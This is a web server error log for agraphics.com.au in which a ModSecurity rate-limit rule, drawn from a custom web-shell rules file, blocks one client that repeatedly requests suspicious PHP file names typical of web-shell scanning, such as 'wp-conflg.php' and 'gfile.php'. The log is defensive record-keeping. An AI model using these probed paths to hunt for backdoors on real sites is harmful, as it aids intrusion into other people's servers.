[Fri Feb 06 23:57:53.880845 2026] [:error] [pid 36857:tid 36863] [client 20.203.201.174:44185] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aYYPgZVQwfj7Kp4Dd0EFaAAAAYQ"]
[Fri Feb 06 23:57:54.954079 2026] [:error] [pid 36857:tid 36883] [client 20.203.201.174:3936] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aYYPgpVQwfj7Kp4Dd0EFawAAAZg"]
[Fri Feb 06 23:57:55.630093 2026] [:error] [pid 37019:tid 37026] [client 20.203.201.174:3965] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aYYPgwkAjqd3bcgYBrt8UgAAAgU"]
[Fri Feb 06 23:57:57.105609 2026] [:error] [pid 36857:tid 36868] [client 20.203.201.174:27830] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aYYPhZVQwfj7Kp4Dd0EFcAAAAYk"]
[Fri Feb 06 23:57:58.354193 2026] [:error] [pid 36928:tid 36952] [client 20.203.201.174:26686] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aYYPhps7fyU8D36r-OqTdgAAAdQ"]
[Fri Feb 06 23:57:59.222001 2026] [:error] [pid 3477:tid 3501] [client 20.203.201.174:26689] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aYYPh7L0Hdh40C7HYgWPmwAAANY"]
[Fri Feb 06 23:57:59.870781 2026] [:error] [pid 3513:tid 3531] [client 20.203.201.174:36029] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aYYPhzSw3-HAlzpqSxzm4wAAAVA"]
[Fri Feb 06 23:58:00.892601 2026] [:error] [pid 3477:tid 3481] [client 20.203.201.174:27835] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex3.php"] [unique_id "aYYPiLL0Hdh40C7HYgWPngAAAMI"]
[Fri Feb 06 23:58:01.655007 2026] [:error] [pid 36857:tid 36880] [client 20.203.201.174:49636] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex3.php"] [unique_id "aYYPiZVQwfj7Kp4Dd0EFdQAAAZU"]
[Fri Feb 06 23:58:02.258503 2026] [:error] [pid 36928:tid 36944] [client 20.203.201.174:31377] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex3.php"] [unique_id "aYYPips7fyU8D36r-OqTgAAAAcw"]
[Fri Feb 06 23:58:03.498404 2026] [:error] [pid 15821:tid 15835] [client 20.203.201.174:34545] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex3.php"] [unique_id "aYYPi3ARQa67J4c772klSQAAAQo"]
[Fri Feb 06 23:58:04.357053 2026] [:error] [pid 15821:tid 15834] [client 20.203.201.174:3949] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aYYPjHARQa67J4c772klSwAAAQk"]
[Fri Feb 06 23:58:04.964973 2026] [:error] [pid 46432:tid 46449] [client 20.203.201.174:31180] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aYYPjAbwJwu_od0kZjNC0gAAAk8"]
[Fri Feb 06 23:58:05.652258 2026] [:error] [pid 3382:tid 3461] [client 20.203.201.174:26726] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aYYPjcIgU1HR0rhYrE92qAAAAJU"]
[Fri Feb 06 23:58:07.036752 2026] [:error] [pid 3513:tid 3536] [client 20.203.201.174:29626] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "aYYPjzSw3-HAlzpqSxzm5gAAAVU"]
[Fri Feb 06 23:58:08.109881 2026] [:error] [pid 3380:tid 3391] [client 20.203.201.174:46380] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aYYPkBFAlUvBGSBK2jd6hAAAAAc"]
[Fri Feb 06 23:58:09.463166 2026] [:error] [pid 15821:tid 15843] [client 20.203.201.174:28398] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aYYPkXARQa67J4c772klUgAAARI"]
[Fri Feb 06 23:58:10.505303 2026] [:error] [pid 3513:tid 3527] [client 20.203.201.174:49626] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aYYPkjSw3-HAlzpqSxzm6QAAAUw"]
[Fri Feb 06 23:58:11.824324 2026] [:error] [pid 3380:tid 3400] [client 20.203.201.174:29574] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aYYPkxFAlUvBGSBK2jd6iQAAABA"]
[Fri Feb 06 23:58:14.056849 2026] [:error] [pid 3513:tid 3525] [client 20.203.201.174:3993] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aYYPljSw3-HAlzpqSxzm7gAAAUo"]
[Fri Feb 06 23:58:15.597627 2026] [:error] [pid 36857:tid 36864] [client 20.203.201.174:32580] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aYYPl5VQwfj7Kp4Dd0EFggAAAYU"]
[Fri Feb 06 23:58:17.175816 2026] [:error] [pid 3382:tid 3463] [client 20.203.201.174:44700] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aYYPmcIgU1HR0rhYrE92qwAAAJc"]
[Fri Feb 06 23:58:17.920244 2026] [:error] [pid 3382:tid 3444] [client 20.203.201.174:46349] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aYYPmcIgU1HR0rhYrE92rgAAAIQ"]
[Fri Feb 06 23:58:20.676868 2026] [:error] [pid 36928:tid 36940] [client 20.203.201.174:37158] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aYYPnJs7fyU8D36r-OqTnAAAAcg"]
[Fri Feb 06 23:58:22.437094 2026] [:error] [pid 46432:tid 46458] [client 20.203.201.174:3555] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aYYPngbwJwu_od0kZjNC2wAAAlg"]
[Fri Feb 06 23:58:23.252512 2026] [:error] [pid 36928:tid 36933] [client 20.203.201.174:50404] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aYYPn5s7fyU8D36r-OqTowAAAcE"]
[Fri Feb 06 23:58:24.660197 2026] [:error] [pid 15821:tid 15836] [client 20.203.201.174:31214] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vee.php"] [unique_id "aYYPoHARQa67J4c772klYQAAAQs"]
[Fri Feb 06 23:58:26.564237 2026] [:error] [pid 36928:tid 36949] [client 20.203.201.174:46337] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/efile.php"] [unique_id "aYYPops7fyU8D36r-OqTpwAAAdE"]
[Fri Feb 06 23:58:27.751983 2026] [:error] [pid 3513:tid 3538] [client 20.203.201.174:46339] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/efile.php"] [unique_id "aYYPozSw3-HAlzpqSxzm-QAAAVc"]
[Fri Feb 06 23:58:28.945302 2026] [:error] [pid 3381:tid 3430] [client 20.203.201.174:50406] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/efile.php"] [unique_id "aYYPpC81zqRg96ZREgiNbQAAAFE"]
[Fri Feb 06 23:58:30.009789 2026] [:error] [pid 3477:tid 3500] [client 20.203.201.174:46365] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/efile.php"] [unique_id "aYYPprL0Hdh40C7HYgWPrQAAANU"]
[Fri Feb 06 23:58:31.826950 2026] [:error] [pid 3382:tid 3451] [client 20.203.201.174:46351] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/afile.php"] [unique_id "aYYPp8IgU1HR0rhYrE92tQAAAIs"]
[Fri Feb 06 23:58:32.564223 2026] [proxy_fcgi:error] [pid 36857:tid 36859] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:32.804694 2026] [proxy_fcgi:error] [pid 36857:tid 36874] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:33.044120 2026] [proxy_fcgi:error] [pid 36857:tid 36869] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:33.286996 2026] [proxy_fcgi:error] [pid 36857:tid 36878] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:33.525065 2026] [proxy_fcgi:error] [pid 36857:tid 36882] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:33.769325 2026] [proxy_fcgi:error] [pid 36857:tid 36876] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:34.008343 2026] [proxy_fcgi:error] [pid 36857:tid 36883] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:34.256129 2026] [proxy_fcgi:error] [pid 36857:tid 36862] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:34.805908 2026] [proxy_fcgi:error] [pid 36857:tid 36867] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:35.046599 2026] [proxy_fcgi:error] [pid 36857:tid 36881] [client 20.203.201.174:3828] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:58:35.307019 2026] [:error] [pid 36857:tid 36861] [client 20.203.201.174:3828] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aYYPq5VQwfj7Kp4Dd0EFnQAAAYI"]
[Fri Feb 06 23:58:36.221949 2026] [:error] [pid 3477:tid 3482] [client 20.203.201.174:3576] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aYYPrLL0Hdh40C7HYgWPsQAAAMM"]
[Fri Feb 06 23:58:36.881143 2026] [:error] [pid 36857:tid 36860] [client 20.203.201.174:26703] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aYYPrJVQwfj7Kp4Dd0EFngAAAYE"]
[Fri Feb 06 23:58:37.563928 2026] [:error] [pid 3382:tid 3446] [client 20.203.201.174:37176] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aYYPrcIgU1HR0rhYrE92vAAAAIY"]
[Fri Feb 06 23:58:39.291966 2026] [:error] [pid 3381:tid 3434] [client 20.203.201.174:32633] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aYYPry81zqRg96ZREgiNcwAAAFU"]
[Fri Feb 06 23:58:40.561662 2026] [:error] [pid 37019:tid 37040] [client 20.203.201.174:46393] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aYYPsAkAjqd3bcgYBrt8gAAAAhM"]
[Fri Feb 06 23:58:41.963603 2026] [:error] [pid 3477:tid 3502] [client 20.203.201.174:40888] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aYYPsbL0Hdh40C7HYgWPvAAAANc"]
[Fri Feb 06 23:58:42.958640 2026] [:error] [pid 15821:tid 15829] [client 20.203.201.174:44203] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aYYPsnARQa67J4c772klcQAAAQQ"]
[Fri Feb 06 23:58:43.791051 2026] [:error] [pid 46432:tid 46437] [client 20.203.201.174:45225] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aYYPswbwJwu_od0kZjNC6wAAAkM"]
[Fri Feb 06 23:58:45.726244 2026] [:error] [pid 46432:tid 46454] [client 20.203.201.174:41603] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aYYPtQbwJwu_od0kZjNC7gAAAlQ"]
[Fri Feb 06 23:58:47.710564 2026] [:error] [pid 36928:tid 36945] [client 20.203.201.174:26735] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aYYPt5s7fyU8D36r-OqTwAAAAc0"]
[Fri Feb 06 23:58:48.576535 2026] [:error] [pid 3477:tid 3486] [client 20.203.201.174:44223] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aYYPuLL0Hdh40C7HYgWPwQAAAMc"]
[Fri Feb 06 23:58:49.508229 2026] [:error] [pid 36928:tid 36938] [client 20.203.201.174:45276] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aYYPuZs7fyU8D36r-OqTxwAAAcY"]
[Fri Feb 06 23:58:50.364476 2026] [:error] [pid 3380:tid 3388] [client 20.203.201.174:40849] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aYYPuhFAlUvBGSBK2jd6mQAAAAQ"]
[Fri Feb 06 23:58:50.917831 2026] [:error] [pid 3513:tid 3520] [client 20.203.201.174:40844] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aYYPujSw3-HAlzpqSxznBgAAAUU"]
[Fri Feb 06 23:58:51.914196 2026] [:error] [pid 3477:tid 3497] [client 20.203.201.174:3934] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aYYPu7L0Hdh40C7HYgWPxwAAANI"]
[Fri Feb 06 23:58:53.103367 2026] [:error] [pid 3382:tid 3443] [client 20.203.201.174:50396] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aYYPvcIgU1HR0rhYrE92zQAAAIM"]
[Fri Feb 06 23:58:53.838787 2026] [:error] [pid 3380:tid 3389] [client 20.203.201.174:3937] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aYYPvRFAlUvBGSBK2jd6nQAAAAU"]
[Fri Feb 06 23:58:54.544247 2026] [:error] [pid 3513:tid 3527] [client 20.203.201.174:3919] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aYYPvjSw3-HAlzpqSxznCgAAAUw"]
[Fri Feb 06 23:58:55.280107 2026] [:error] [pid 3513:tid 3537] [client 20.203.201.174:29604] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aYYPvzSw3-HAlzpqSxznDAAAAVY"]
[Fri Feb 06 23:58:56.023619 2026] [:error] [pid 36857:tid 36874] [client 20.203.201.174:31185] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aYYPwJVQwfj7Kp4Dd0EFogAAAY8"]
